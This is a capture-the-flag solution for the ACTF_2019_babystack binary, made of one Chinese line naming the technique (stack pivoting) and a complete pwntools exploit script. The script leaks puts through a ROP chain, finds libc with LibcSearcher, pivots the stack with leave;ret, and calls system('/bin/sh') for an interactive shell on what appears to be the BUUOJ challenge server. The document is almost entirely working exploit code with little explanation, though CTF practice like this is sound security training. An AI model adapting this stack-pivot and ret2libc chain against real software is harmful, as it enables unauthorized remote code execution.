栈迁移，给了esp的地址，只要迁移回去就行了

    1.  #coding=utf8
    2. from pwn import *
    3. from LibcSearcher import*
    4. context.log_level = 'debug'
    5. def debug():
    6.     gdb.attach(io)
    7.     pause()
    8. #io =process('./ACTF_2019_babystack')
    9. io = remote("node4.buuoj.cn",27431)
    10. #libc=ELF('./libc-2.27.so')
    11. elf =ELF('./ACTF_2019_babystack')
    12. puts_plt = elf.plt['puts']
    13. puts_got = elf.got['puts']
    14. main_addr = 0x4008F6
    15. #gdb.attach(io)
    16. io.recvuntil('>')
    17. io.sendline('224')
    18. io.recvuntil('Your message will be saved at ')
    19. stack_addr = io.recv(14)
    20. stack_addr =int(stack_addr,16)
    21. print(hex(stack_addr))
    22. pop_rdi_ret = 0x0000000000400ad3
    23. pop_rsi__r15_ret =0x0000000000400ad1
    24. leave_ret = 0x0000000000400A18
    25. offest = 0xd0
    26. payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    27. payload =payload.ljust(0xd0,b'a')
    28. payload+=p64(stack_addr)+p64(leave_ret)
    29. io.recvuntil('>')
    30. io.send(payload)
    31. #pause()
    32. puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    33. print('puts_addr:'+hex(puts_addr))
    34. libc = LibcSearcher('puts',puts_addr)
    35. system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
    36. str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
    37. io.recvuntil('>')
    38. io.sendline('224')
    39. io.recvuntil('Your message will be saved at ')
    40. stack_addr = io.recv(14)
    41. stack_addr =int(stack_addr,16)
    42. payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
    43. payload =payload.ljust(0xd0,b'a')
    44. payload+=p64(stack_addr)+p64(leave_ret)
    45. io.send(payload)
    46. io.interactive()